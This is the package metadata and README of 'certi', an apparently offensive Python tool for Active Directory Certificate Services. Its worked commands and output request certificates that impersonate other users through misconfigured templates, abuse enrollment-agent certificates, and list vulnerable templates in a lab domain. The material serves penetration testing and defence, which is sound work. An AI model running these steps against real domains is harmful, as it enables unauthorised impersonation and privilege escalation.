Metadata-Version: 2.1
Name: certi
Version: 0.1.0
Summary: Tool to ask certificates to ADCS and discover templates
Author: Eloy Perez
Author-email: zer1t0ps@protonmail.com
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: GNU General Public License v3 (GPLv3)
Classifier: Operating System :: Linux
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: impacket
Requires-Dist: cryptography

# certi

Utility to play with ADCS, allows to request tickets and collect information about related objects. Basically, it's the impacket copy of [Certify](https://github.com/GhostPack/Certify). Thanks to [@harmj0y](https://twitter.com/harmj0y) and [@tifkin_](https://twitter.com/tifkin_) for [its great work with ADCS](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf).

## Request a certificate

To request a certificate you can use the req command:
```
$ getTGT.py 'contoso.local/Anakin:Vader1234!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=Anakin.ccache
$ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n
[*] Service: contoso-DC01-CA
[*] Template: User
[*] Username: Anakin

[*] Response: 0x3 Issued  0x80094004, The Enrollee (CN=Anakin,CN=Users,DC=contoso,DC=local) has no E-Mail name registered in the Active Directory.  The E-Mail name will not be included in the certificate.

[*] Cert subject: CN=Anakin,CN=Users,DC=contoso,DC=local
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000062BD9D6E3F1B15CC3000000000006
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication

[*] Saving certificate in Anakin.pfx (password: admin)
```

Depending on the enrollment service, you may need to use NTLM or Kerberos authentication to get access to it, so be sure to check both. Following is the error triggered when NTLM is not allowed and you should use Kerberos:
```
(certi) certi$ certi.py req 'contoso.local/Anakin:Vader1234!@dc01.contoso.local' contoso-DC01-CA
Error: WCCE SessionError: code: 0x80094011 - CERTSRV_E_ENROLL_DENIED - The permissions on this CA do not allow the current user to enroll for certificates.
Help: Try using Kerberos authentication with -k -n params
```

### Request with an alternative name


You can use the `--alt-name` parameter to give an alternative subject and request a certificate that can be used to impersonate the target user if some template allows you to do that:
```
$ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
[*] Service: contoso-DC01-CA
[*] Template: UserSAN
[*] Username: Anakin
[*] Alternative Name: han

[*] Response: 0x3 Issued

[*] Cert subject: CN=Anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000000A858CC4B4C9301ED600000000000A
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[+] Cert Altname: han@contoso.local

[*] Saving certificate in han@contoso.local.pfx (password: admin)

```

You can get the templates vulnerable to this by using the `--vuln` and `--enable` params of the list command (be sure ):

```
$ certi.py list 'contoso.local/Anakin' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC1 -B 3
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: UserSAN
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation
```


### Request as an enrollment agent


In case the available templates allows you to do that, you can request a certificate for an enrollment agent and then use it to request a certificate for another user:

```
$ certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --template EnrollAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollAgent
[*] Username: Han

[*] Response: 0x3 Issued

[*] Cert subject: CN=Han
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000256F1BB99993785823000000000025
[*] Cert Extended Key Usage: Certificate Request Agent

[*] Saving certificate in Han.pfx (password: admin)
$ certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollWithAgent
[*] Username: Han
[*] On behalf of: anakin

[*] Response: 0x3 Issued

[*] Cert subject: CN=anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000002AB527D8E1E64930DC00000000002A
[*] Cert Extended Key Usage: Any Purpose, Certificate Request Agent, Encrypting File System, Secure Email, Client Authentication

[*] Saving certificate in anakin.pfx (password: admin)
```


You can check for templates vulnerable to these misconfigurations with the `list` command (we are that permissions may restrict you from request a certificate for a given template):
```
$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC3 -B 3
Name: User
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Administrator
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Machine
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: DomainController
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: EnrollAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: EnrollwithAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate

```


## List services


```
$ certi.py list 'contoso.local/Han' -k -n --class service
[*] Enrollment Services

Name: contoso-DC01-CA
DNS name: dc01.contoso.local
Templates: EnrollwithAgent, EnrollAgent, UserSAN, DirectoryEmailReplication, DomainControllerAuthentication, KerberosAuthentication, EFSRecovery, EFS, DomainController, WebServer, Machine, User, SubCA, Administrator
Certificate:
  Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
  Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
  Cert Start: 2021-08-01 12:49:46
  Cert End: 2026-08-01 12:59:46
  Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local

```


## List CAs

```
$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --class ca
[*] Root CAs

Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local

[*] Authority Information Access

Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local

```
